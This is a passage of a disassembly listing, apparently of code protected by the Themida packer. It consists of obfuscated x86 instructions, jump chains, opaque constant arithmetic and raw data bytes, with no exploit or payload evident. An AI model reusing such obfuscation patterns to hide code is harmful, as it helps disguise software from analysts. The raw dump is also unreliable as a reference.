		jmp	loc_56D70B
; ---------------------------------------------------------------------------


loc_56495B:				; CODE XREF: Themida_:00560096j
		push	ecx
		push	edx
		mov	edx, 29DE1C7Bh
		mov	ecx, edx
		jmp	loc_56009B
; ---------------------------------------------------------------------------
aB_0		db '│е),',0
		dw 4D51h
		dd 0C393C581h, 0EB01D294h, 0C7EB815Dh, 8B394A73h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562878
; ---------------------------------------------------------------------------
		dw 5166h
		dd 7B2AE99Ch, 0EC81FFFFh, 4, 54241C89h,	83241C8Bh, 0C38104C4h
		dd 4, 4B850h, 0FCE90000h, 8900000Bh, 8BF243Ch, 817EB02Ch
		dd 0C0076E7h, 0C2BE5623h, 14DB3DDh, 0F9015EF7h,	59CB295Fh
		dd 0DA8BE56h, 0F68159E1h, 7217187Fh, 0E94EEED1h, 23ACh
; ---------------------------------------------------------------------------


loc_5649F4:				; CODE XREF: Themida_:00564287j
		mov	ebp, 80016FBh
		inc	ebp
		shr	ebp, 7
		xor	ebp, 14796880h
		jmp	loc_5688AF
; ---------------------------------------------------------------------------


loc_564A08:				; CODE XREF: Themida_:00566706j
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_569582
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0EB01E924h, 0C581FFFFh, 203C4737h, 0ED81CD01h, 203C4737h
		dd 5D0EED81h, 0C8B3C93h, 4C48124h, 50000000h, 9A7424B8h
		dd 79B6E92Ch, 0C890000h, 0B6A1B124h, 48BCE920h,	0F8B80000h
		dd 482DD625h, 25F23548h, 0C2012DD6h, 4EA8358h, 0E9241487h
		dd 4377h, 8B242C87h, 0F662424h,	23E9C8AFh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A77:				; CODE XREF: Themida_:0056A00Dj
		push	dword ptr [esp]
		jmp	loc_560BCF
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 8734E924h, 0EDC1FFFFh, 87ED8107h,	184F150h
		dd 92685DE9h, 89000044h, 4FF240Ch, 0AF3BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564AA6:				; CODE XREF: Themida_:00564CABj
		add	esp, 4
		add	esi, 549E3354h
		not	esi
		dec	esi
		shr	esi, 6
		jmp	loc_56274E
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 8C1Dh
; ---------------------------------------------------------------------------


loc_564AC4:				; CODE XREF: Themida_:00567EC6j
		push	dword ptr [esp+4]
		jmp	loc_564D6F
; ---------------------------------------------------------------------------
aXsjk		db 'XИ╕╙',0
		dw 8900h
		dd 0F4E9243Ch
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564ADB:				; CODE XREF: Themida_:0055F03Bj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56B55F
; ---------------------------------------------------------------------------


loc_564AEC:				; CODE XREF: Themida_:00562788j
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		jmp	loc_56680F
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 31241433h, 0FE92414h, 28FFFFB1h, 6B38E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564B0E:				; CODE XREF: Themida_:00567778j
		mov	ecx, 99C47051h
		mov	edx, ecx
		pop	ecx
		jmp	loc_564906
; ---------------------------------------------------------------------------


loc_564B1B:				; CODE XREF: Themida_:0056F556j
		add	eax, esi
		add	eax, 0E7F1026h
		push	ecx
		jmp	loc_567CCA
; ---------------------------------------------------------------------------
		dd 4BD5552h, 89000000h,	242C8BEAh, 4C481h, 0EC810000h
		dd 4, 89243489h, 4EC83D6h, 89240489h, 0E9C789F0h, 0FFFFB9CBh
		dd 4EC81h, 3C890000h, 0C1E95624h, 8B000093h, 4892424h
		dd 0F7B65224h, 0CEFEDEF6h, 80BECE80h, 0F08847C6h, 8BC7885Ah
		dd 0E5682404h, 89000074h, 0E189240Ch, 4C181h, 99E90000h
		dd 81000088h, 182BA4C1h, 241C8B45h, 104C483h, 34E981C1h
		dd 8B2AFD07h, 89572404h, 61E956E7h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_564BB3:				; CODE XREF: Themida_:00568E60j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56EC28
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 0DFB9C181h, 0CA0105A5h, 7660E9h, 48B6600h, 0EE36824h
		dd 1C890000h, 5BFAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564BDE:				; CODE XREF: Themida_:005666D8j
		xchg	esi, edx
		jmp	loc_56688F
; ---------------------------------------------------------------------------


loc_564BE5:				; CODE XREF: Themida_:0055D959j
		mov	esi, ebx
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 5352193Ch
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	eax, 5352193Ch
		jmp	loc_56ACD5
; ---------------------------------------------------------------------------
		dd 8F04C483h, 248B2404h, 77146824h, 76E90000h, 89000032h
		dd 0F38159CBh, 0FE000004h, 3B2EE9h, 243C3100h, 8980E9h
		dd 21ED8100h, 0E985B43Eh, 0FFFF83DCh
; ---------------------------------------------------------------------------


loc_564C3C:				; CODE XREF: Themida_:0055CCF3j
		sub	edi, 192F2F15h
		jmp	loc_560C54
; ---------------------------------------------------------------------------
		db 80h
		dd 0E9587BC3h, 0FFFFF141h, 4B850h, 0C2890000h, 8272E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C5E:				; CODE XREF: Themida_:005681F2j
		sub	ebp, ecx
		pop	ecx
		not	ebp
		push	edi
		mov	edi, 310F26C3h
		shl	edi, 2
		jmp	loc_55F086
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 14680000h, 8900007Ah, 11BD242Ch, 0F705762Eh
		dd 4DD5F7D5h, 0FFFAC6E9h, 241487FFh, 0A4AEE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C9A:				; CODE XREF: Themida_:00569522j
		shr	eax, 7
		push	ecx
		mov	ecx, 91170B81h
		sub	eax, ecx
		pop	ecx
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_564AA6
; ---------------------------------------------------------------------------
		dd 0FBC3E945h, 0BD55FFFFh, 32431484h, 724AF581h, 0B8501B6Fh
		dd 4A176D66h, 0C158C501h, 71E902E5h, 8FFFFF8Fh,	248B2404h
		dd 0DD2EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CDE:				; CODE XREF: Themida_:0056CA7Cj
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_56355E
; ---------------------------------------------------------------------------


loc_564CF4:				; CODE XREF: Themida_:00570547j
		push	ebx
		jmp	loc_55C681
; ---------------------------------------------------------------------------


loc_564CFA:				; CODE XREF: Themida_:00568ECDj
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		jmp	loc_570B18
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 0FF5C240Ch, 148B2434h, 4C48324h, 34FF5453h, 241C8B24h
		dd 0B302E9h
		db 0
; ---------------------------------------------------------------------------


loc_564D29:				; CODE XREF: Themida_:00564074j
		pop	ebp
		add	ebp, edi
		pop	edi
		jmp	loc_5701DD
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 75EF7A04h, 0C581F529h, 75EF7A04h, 0E924348Bh, 0FFFFF77Eh
		dd 8B5E525Bh, 80E92414h, 570000ABh, 38352FBFh, 58C78102h
		dd 14AB5DBh, 0CCE95FFDh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_564D67:				; CODE XREF: Themida_:0055F720j
		mov	edi, [esp]
		jmp	loc_55E494
; ---------------------------------------------------------------------------


loc_564D6F:				; CODE XREF: Themida_:00564AC8j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		sub	bl, al
		push	ecx
		mov	cl, 0D2h
		add	bl, cl
		pop	ecx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		dw 0DCBAh
		dd 8964D200h, 65E95AD0h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D9F:				; CODE XREF: Themida_:0056EDB0j
		pop	edi
		push	edx
		jmp	loc_565CF2
; ---------------------------------------------------------------------------
		dw 8950h
		dd 595051C8h, 5859CD89h, 14C1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564DB6:				; CODE XREF: Themida_:0056AAB9j
		inc	edx
		jmp	loc_570540
; ---------------------------------------------------------------------------
aPAigUaGx	db 'P╢%─К┐(Ц─ц┐X',0
		db 0C3h, 52h, 0B6h
		dd 0E9D6F620h, 0FFFFF55Fh
; ---------------------------------------------------------------------------


loc_564DD4:				; CODE XREF: Themida_:005710A9j
		add	esp, 4
		jmp	loc_56970F
; ---------------------------------------------------------------------------
		dd 4C781h, 0C5E90000h, 8800001Fh, 0E9C388D0h, 260Ch
; ---------------------------------------------------------------------------


loc_564DF0:				; CODE XREF: Themida_:0056570Fj
		mov	edi, 4CC11AA6h
		add	edi, 645E0152h
		not	edi
		and	edi, 64427908h
		or	edi, 183378h
		or	edi, 1C432CD8h
		jmp	loc_56629B
; ---------------------------------------------------------------------------
		dd 4BEh, 0E14FE900h, 0D529FFFFh, 2C81555Ah, 10629424h
		dd 9405585Ch, 5D5C1062h, 0FF8217E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E35:				; CODE XREF: Themida_:0055E0A9j
		push	edx
		jmp	loc_56BBD9
; ---------------------------------------------------------------------------


loc_564E3B:				; CODE XREF: Themida_:0056E1F9j
		sub	esp, 4
		mov	[esp], eax
		push	1BC75F23h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561A62
; ---------------------------------------------------------------------------
aRsI		db 'RИ╫i',0
		dd 4C68100h, 81000000h,	4C6h, 4DC3E900h, 565A0000h, 7F068EBEh
		dd 0B679E915h, 505E0000h, 0A5B951h, 0C181657Dh,	5A7713CFh
		dd 65B0C181h, 0E1C179D0h, 0C979E906h, 8ABBFFFFh, 31737723h
		dd 2434FFCBh, 0C78E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564EA6:				; CODE XREF: Themida_:0055EBD0j
		inc	esi
		inc	esi
		jmp	loc_56BA62
; ---------------------------------------------------------------------------


loc_564EAD:				; CODE XREF: Themida_:00562C29j
		push	ecx
		push	4CAB5025h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 11A44FC5h
		and	ebx, 28C3676Ch
		sub	ebx, 5AF807FDh
		push	eax
		mov	eax, 62873077h
		inc	eax
		xor	eax, 0B4C18DFh
		add	eax, 21A27BA3h
		neg	eax
		xor	eax, 22130003h
		jmp	loc_568EB3
; ---------------------------------------------------------------------------


loc_564EE8:				; CODE XREF: Themida_:0056516Aj
		shl	edx, 1
		push	ecx
		jmp	loc_55D9E7
; ---------------------------------------------------------------------------


loc_564EF0:				; CODE XREF: Themida_:00567F77j
		sub	edx, 0C6820ED7h
		or	ebp, edx
		pop	edx
		push	eax
		push	esp
		pop	eax
		jmp	loc_561611
; ---------------------------------------------------------------------------


loc_564F01:				; CODE XREF: Themida_:0055DECBj
		sub	eax, 0EA24F3Bh
		mov	esi, [esp]
		jmp	loc_55DA49
; ---------------------------------------------------------------------------


loc_564F0E:				; CODE XREF: Themida_:005702C1j
		sub	ecx, 313F6F82h
		pop	ebx
		jmp	loc_566496
; ---------------------------------------------------------------------------
aITS		db '┴,$T]И©©',0
		align 4
		dd 8704C683h, 248B2434h, 240C8B24h, 5104C483h, 1E5FE9h
		dd 4C48100h, 0E9000000h, 0FFFF9531h, 8A1A5EB8h,	48D8F72Ch
		dd 0D1D0F748h, 0BDA405E0h, 0C3298EC3h, 0E9DA8958h, 0FFFFBF62h
		dd 4B951h, 0CA010000h, 83240C8Bh, 148704C4h, 0CAE95C24h
		dd 81000088h, 0EB0E0FEAh, 0E5C4E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F82:				; CODE XREF: Themida_:0055F2C9j
		mov	[esp], ecx
		jmp	loc_55ED84
; ---------------------------------------------------------------------------


loc_564F8A:				; CODE XREF: Themida_:00570F5Ej
		mov	ebx, 1BF2019Fh
		xor	edx, ebx
		pop	ebx
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_55DF63
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 1C8BD801h,	4C48124h, 68000000h, 6F0Dh, 51243C89h
		dd 0F23D9AB9h, 3D98BF63h, 0CF3163F2h, 0FF784AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564FCD:				; CODE XREF: Themida_:00561FCEj
		mov	eax, esp
		jmp	loc_56DA46
; ---------------------------------------------------------------------------
aUsC		db 'UИЙ√',0
		align 2


loc_564FDA:				; CODE XREF: Themida_:0056CD44j
		add	ebp, 6F921F34h
		add	ebp, 16151544h
		push	esi
		mov	esi, 396E7710h
		jmp	loc_5601B1
; ---------------------------------------------------------------------------
		db 47h,	0F7h, 0DFh
		dd 2EFC147h, 1AB0E9h, 0EA015A00h, 0E9D5015Dh, 5095h, 0BD55E789h
		dd 4, 835DEF01h, 3C8704C7h, 2E12E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56501E:				; CODE XREF: Themida_:00570B2Ej
		xor	edx, 31321199h
		pop	ebp
		push	edx
		not	dword ptr [esp]
		jmp	loc_565731
; ---------------------------------------------------------------------------


loc_56502E:				; CODE XREF: Themida_:0056A670j
		add	esi, 4
		push	ebx
		mov	ebx, 4A2064F9h
		inc	ebx
		neg	ebx
		add	ebx, 4A2064FEh
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1BBD5706h
		add	edx, 3FF415E8h
		sub	edx, 1
		jmp	loc_56C0F8
; ---------------------------------------------------------------------------


loc_565063:				; CODE XREF: Themida_:0056E48Ej
		dec	edi
		add	edi, 1
		shr	edi, 3
		add	edi, 68B97DECh
		jmp	loc_569F0D
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 2
		dd 0FF8900E9h, 0BCEB81FFh, 1574402h, 0BCC381F3h, 81574402h
		dd 0C039AEBh, 24348B05h, 0AAA9E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56509A:				; CODE XREF: Themida_:0056225Fj
		pop	ebp
		pop	edi
		jmp	loc_56AFE5
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
aLHa8		db '▀$$h═8',0
		align 4
		dd 0E9242489h, 0FFFFF139h
; ---------------------------------------------------------------------------


loc_5650B4:				; CODE XREF: Themida_:0056C5E5j
		inc	esi
		or	esi, 1F5E1E90h
		sub	esi, 0D527E742h
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, 1F4F4862h
		jmp	loc_564488
; ---------------------------------------------------------------------------


loc_5650CF:				; CODE XREF: Themida_:0056465Cj
		add	edi, 4
		jmp	loc_562EB9
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 2434FFCFh, 0E9545359h, 711Ah, 0FF73DFE9h, 60B652FFh
		dd 0E9DCC680h, 0B253h, 80FFC180h, 0E1D020F1h, 500FF180h
		dd 42A7E9h, 0DFF74700h,	138EEF81h, 0E7C102A9h, 7CEF8107h
		dd 1BDD36Bh, 0C3835FFBh, 241C3302h, 0E9241C31h,	24A2h
		dd 5324148Bh, 0C3815B54h, 4, 5BBBE56h, 0C68166B2h, 994DFA49h
		dd 15D5EB81h, 0F3015F72h, 15D5C381h, 348B5F72h,	4EC8324h
		dd 1D64E9h
		db 0
; ---------------------------------------------------------------------------


loc_56515D:				; CODE XREF: Themida_:0056CDD1j
		push	edi
		push	64201DEBh
		jmp	loc_55DFBA
; ---------------------------------------------------------------------------


loc_565168:				; CODE XREF: Themida_:00570E73j
		or	edx, eax
		jmp	loc_564EE8
; ---------------------------------------------------------------------------


loc_56516F:				; CODE XREF: Themida_:00561AF3j
		mov	[esp], edx
		push	800h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_569CAE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 8246216Ah, 0C15EF201h, 20E903EAh
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565193:				; CODE XREF: Themida_:0056897Bj
		push	ebx
		mov	ebx, 262390h
		push	esi
		mov	esi, 2E093268h
		add	ecx, esi
		pop	esi
		sub	ecx, ebx
		sub	ecx, 2E093268h
		pop	ebx
		sub	esp, 4
		jmp	loc_570C44
; ---------------------------------------------------------------------------


loc_5651B6:				; CODE XREF: Themida_:00563D7Fj
		sub	esi, ecx
		pop	ecx
		push	edx
		jmp	loc_56118B
; ---------------------------------------------------------------------------


loc_5651BF:				; CODE XREF: Themida_:0056BDB1j
		add	ecx, ebx
		jmp	loc_563754
; ---------------------------------------------------------------------------
		dw 0CDBDh
		dd 456DD66Ah, 741DC581h, 0B85045F6h, 209B50C6h,	0D4E9C529h
		dd 8B000027h, 0C4812414h, 4, 3631E9h, 58416800h, 1C890000h
		dd 0F205E924h, 5066FFFFh, 10E9D488h, 56FFFFA1h,	42474FFh
		dd 89E0E95Eh, 0B951FFFFh, 2E435898h, 44E9CF29h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56521B:				; CODE XREF: Themida_:0056CD4Dj
		xchg	edi, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_5629B7
; ---------------------------------------------------------------------------
		db 1
		dd 79D568FDh, 0C890000h, 512EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565242:				; CODE XREF: Themida_:00560C67j
		push	eax
		jmp	loc_56C5AF
; ---------------------------------------------------------------------------
		dd 223B68h, 241C8900h, 4C1721BBh, 7BF38161h, 57637D48h
		dd 31FA5BBFh, 5FFB2986h, 0A5E9DF09h, 5700004Ah,	890EE9h
		db 0
; ---------------------------------------------------------------------------


loc_565271:				; CODE XREF: Themida_:0056829Ej
		mov	edx, 6C682C7Dh
		add	edx, 728073B0h
		dec	edx
		dec	edx
		or	edx, 71011FA2h
		jmp	loc_5645D8
; ---------------------------------------------------------------------------
		db 0E9h, 3Eh, 72h
		dd 5755FFFFh, 5073DB68h, 81475F7Ch, 17366EEFh, 5FFD8910h
		dd 0E01CBB53h, 0ABE9749Ah, 810000B4h, 6A666EEFh, 38EF815Eh
		dd 89ED366Bh, 0B8505FFDh, 9CE8A6ADh, 2958C501h,	0E9535DE9h
		dd 1AC2h, 515AD321h, 0B9h, 0E9D92900h, 0FFFFF93Fh
; ---------------------------------------------------------------------------


loc_5652DC:				; CODE XREF: Themida_:0055E868j
		xor	ebx, 0A2A68D91h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	317Eh
		jmp	loc_565714
; ---------------------------------------------------------------------------
		db 33h
		dd 4E9243Ch, 5900001Eh,	0E904C483h, 0FFFFFAB4h,	5BC368h
		dd 24048900h, 0EBE9E089h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565317:				; CODE XREF: Themida_:0056265Aj
		mov	edx, 53E71741h
		shl	edx, 6
		jmp	loc_568565
; ---------------------------------------------------------------------------
		dd 0BB53E189h, 3C7F0545h, 1A99F381h, 0E3815999h, 12E977C0h
		dd 8307EBC1h, 0EBC1FFEBh, 1C38104h, 1FFFFE4h, 0E9505BD9h
		dd 9C35h
; ---------------------------------------------------------------------------


loc_565350:				; CODE XREF: Themida_:0056CD2Dj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_55F3F9
; ---------------------------------------------------------------------------


loc_56535E:				; CODE XREF: Themida_:0056D6BCj
		add	dword ptr [esp], 39A25FFAh
		sub	[esp], edi
		sub	dword ptr [esp], 39A25FFAh
		sub	dword ptr [esp], 89067DAh
		jmp	loc_55DED6
; ---------------------------------------------------------------------------


loc_56537B:				; CODE XREF: Themida_:00571151j
		mov	esi, edi
		pop	edi
		jmp	loc_5635A0
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95704C5h, 0FFFFA9B0h, 9C243CD2h, 0FF7137E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565395:				; CODE XREF: Themida_:0056045Aj
		sub	eax, 46A54002h
		add	eax, ecx
		add	eax, 46A54002h
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_567D3A
; ---------------------------------------------------------------------------
		dd 8324248Ah, 0CC8004C4h, 26CC80BFh, 0B753C4FEh, 5BFC28D8h
		dd 0FE58E108h, 0CBD2E9C1h, 75B1FFFFh, 50CEF180h, 0FF9E28E9h
		dd 243481FFh, 3B273D34h, 945DE95Eh, 0C481FFFFh,	4, 4246C81h
		dd 4EC52A13h, 4246C81h,	16422E1Eh, 4244C01h, 4244481h
		dd 16422E1Eh, 0E904EC83h, 62F8h, 5BA0F681h, 0EE813220h
		dd 7B37538h, 90F6814Eh,	894ECED7h, 1AE4E9F2h, 0F0010000h
		dd 0A53CD305h, 875A5E01h, 248B2404h, 2166E924h,	575C0000h
		dd 0FF78C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565445:				; CODE XREF: Themida_:0055DD68j
		mov	esi, eax
		pop	eax
		jmp	loc_5697B6
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 5BEE900h, 0C4810000h, 4, 0B7E95058h, 83000083h
		dd 248904ECh, 24048124h, 4, 6A46E9h
		db 0
; ---------------------------------------------------------------------------


loc_565479:				; CODE XREF: Themida_:0055E450j
		mov	[esp], esi
		mov	esi, 1C4FE331h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56045F
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 81D6F705h, 0AB498CEEh, 5EF101FAh, 8704E983h,	895C240Ch
		dd 0A2E9242Ch, 5C000014h, 81241489h, 4ECh, 240C8900h, 0B122E950h
		dd 37BB0000h, 0E929C346h, 0FFFFD621h, 2BF57h, 0F8010000h
		dd 2404335Fh, 33240431h, 665C2404h, 2404A30Fh, 6FE6E99Ch
		dd 0C483FFFFh, 9CE95804h, 53FFFF96h, 0ED0601BBh, 63F38162h
		dd 0C1730452h, 0BF5703EBh, 1, 8FEB81h, 0E9E9292Bh, 1000046h
		dd 31D6E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565516:				; CODE XREF: Themida_:0056AF4Aj
		push	edx
		jmp	loc_56735D
; ---------------------------------------------------------------------------
		dd 0D3F280h, 24148BD0h,	4C481h,	68660000h, 89663523h, 0B252241Ch
		dd 288DB368h, 0B2045AD3h, 0B22CD800h, 52665B66h, 0FFC2A2E9h
		dd 0D830ACFFh, 8904EC83h, 0B0502414h, 58C6880Bh, 0C093E680h
		dd 0EEC008E6h, 74E95007h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565567:				; CODE XREF: Themida_:0056BA7Cj
		mov	[esp], eax
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_55F291
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B241C87h, 8B662424h, 89572404h, 0A5368E7h, 1C890000h
		dd 4BB24h, 0EF810000h, 2C666C0Fh, 0B0FDE953h, 0F9880000h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 47E92434h, 8100004Ch
		dd 424678EBh, 0FFEB8125h, 8108772Eh, 0D25A39EBh, 81C3011Bh
		dd 0D25A39C3h, 0FFC3811Bh, 8108772Eh, 424678C3h, 24048B25h
		dd 4C481h, 0EC810000h, 4, 8011E9h
		db 0
; ---------------------------------------------------------------------------


loc_5655F9:				; CODE XREF: Themida_:00560E17j
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_563FCC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2474FF56h, 48F5E04h,	8B665C24h, 0AAE9240Ch, 81000080h
		dd 4C3h, 2C38300h, 5C241C87h, 5DE93166h, 0E7F18166h, 0C8016699h
		dd 39F7E9h, 68B25200h, 5AD088h,	0C38058C3h, 871DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565646:				; CODE XREF: Themida_:005671C9j
		or	eax, ecx
		jmp	loc_567463
; ---------------------------------------------------------------------------


loc_56564D:				; CODE XREF: Themida_:0056973Cj
		add	[esp+4], ebp
		jmp	loc_570C30
; ---------------------------------------------------------------------------


loc_565656:				; CODE XREF: Themida_:0056E694j
		mov	[esp], edx
		mov	edx, 5D2A44BAh
		sub	edx, 695474DDh
		xor	edx, 0B1B190A2h
		sub	eax, edx
		jmp	loc_562619
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 5
		dd 5366D8F6h, 85ACE9h, 241C8700h, 242C895Ch, 42474FFh
		dd 254BE95Dh, 8B660000h, 50512404h, 71E9E089h, 0BA0000A3h
		dd 73C81D2Eh, 1CD6C281h, 0D121B838h, 0D6CE95Ah,	89510000h
		dd 4C181E1h, 0E9000000h, 0B8E4h
; ---------------------------------------------------------------------------


loc_5656BC:				; CODE XREF: Themida_:0056EF52j
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55F751
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 5D0206B9h, 0FF5FF829h, 28E92434h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5656DB:				; CODE XREF: Themida_:0056EE0Bj
		not	eax
		sub	eax, 0FFFFFFFFh
		jmp	loc_5665DE
; ---------------------------------------------------------------------------


loc_5656E7:				; CODE XREF: Themida_:0056DC64j
		mov	ebx, 0FEF1EFFCh
		jmp	loc_55FCE4
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FFD153E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5656F9:				; CODE XREF: Themida_:0056A51Aj
		pop	eax
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_5635AD
; ---------------------------------------------------------------------------


loc_565704:				; CODE XREF: Themida_:0056A2DCj
		push	293D0345h
		jmp	loc_56C505
; ---------------------------------------------------------------------------


loc_56570E:				; CODE XREF: Themida_:0056D24Dj
		push	edi
		jmp	loc_564DF0
; ---------------------------------------------------------------------------


loc_565714:				; CODE XREF: Themida_:005652F2j
		mov	[esp], edx
		mov	edx, 12B771F0h
		push	esi
		mov	esi, 0A0469437h
		xor	edx, esi
		jmp	loc_570CFC
; ---------------------------------------------------------------------------


loc_565729:				; CODE XREF: Themida_:00569BA9j
		add	edi, edx
		pop	edx
		jmp	loc_55E55E
; ---------------------------------------------------------------------------


loc_565731:				; CODE XREF: Themida_:00565029j
		pop	edx
		xor	edx, ecx
		jmp	loc_5697A9
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
aSkf		db '$Иk■',0
		align 2


loc_565742:				; CODE XREF: Themida_:00570F41j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_560FC3
; ---------------------------------------------------------------------------


loc_56574B:				; CODE XREF: Themida_:0056B5B7j
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], eax
		pop	eax


loc_565755:				; CODE XREF: Themida_:00562382j
		push	4C38h
		mov	[esp], esi
		push	1D72h
		mov	[esp], edx
		push	ebx
		pop	edx
		mov	esi, edx
		pop	edx
		push	ebp
		mov	ebp, esi
		mov	eax, ebp
		push	dword ptr [esp]
		jmp	loc_562BDA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E28103E2h, 12674759h, 8103E2C1h, 69567EF2h,	5AD189B8h
		dd 89595E51h, 24348BF7h, 0FF9359E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565799:				; CODE XREF: Themida_:0056F061j
		sub	dword ptr [esp+4], 4C100169h
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 4C100169h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56A657
; ---------------------------------------------------------------------------
		dd 4EC835Bh, 4F61E9h, 0BFC68100h, 4E7F0331h, 3B1FCE81h
		dd 0D6F72CBDh, 4B5FEE81h, 0F729047Eh, 6DEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5657DD:				; CODE XREF: Themida_:0056DD36j
		push	dword ptr [esp]
		pop	edi
		push	25E2h
		mov	[esp], esi
		jmp	loc_55DA6B
; ---------------------------------------------------------------------------
aQsA		db 'QИнa',0
		align 4


loc_5657F4:				; CODE XREF: Themida_:00560795j
		add	ch, 5Eh
		mov	dl, ch
		mov	cx, [esp]
		jmp	loc_56EA81
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 18A6C02Dh, 0C38953C7h, 585BDE89h, 0F752D687h, 875A2414h
		dd 0C1DEF7D6h, 59E904E6h, 0BB0000A7h, 0
		dd 0D889C329h, 0FFBD31E9h, 0D685BFFh, 0E900006Fh, 55FAh
		dd 0BE243489h, 0
		dd 0F531EE29h, 0F531EE31h, 56F5815Eh, 52289F02h, 0FFDB5BE9h
		dd 0DD0540FFh, 0F717DB46h, 0B75B05D8h, 0C70125EAh, 4C78358h
		dd 5C243C87h, 34FFDE01h, 7ABE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56587A:				; CODE XREF: Themida_:0056B877j
		push	dword ptr [esp]
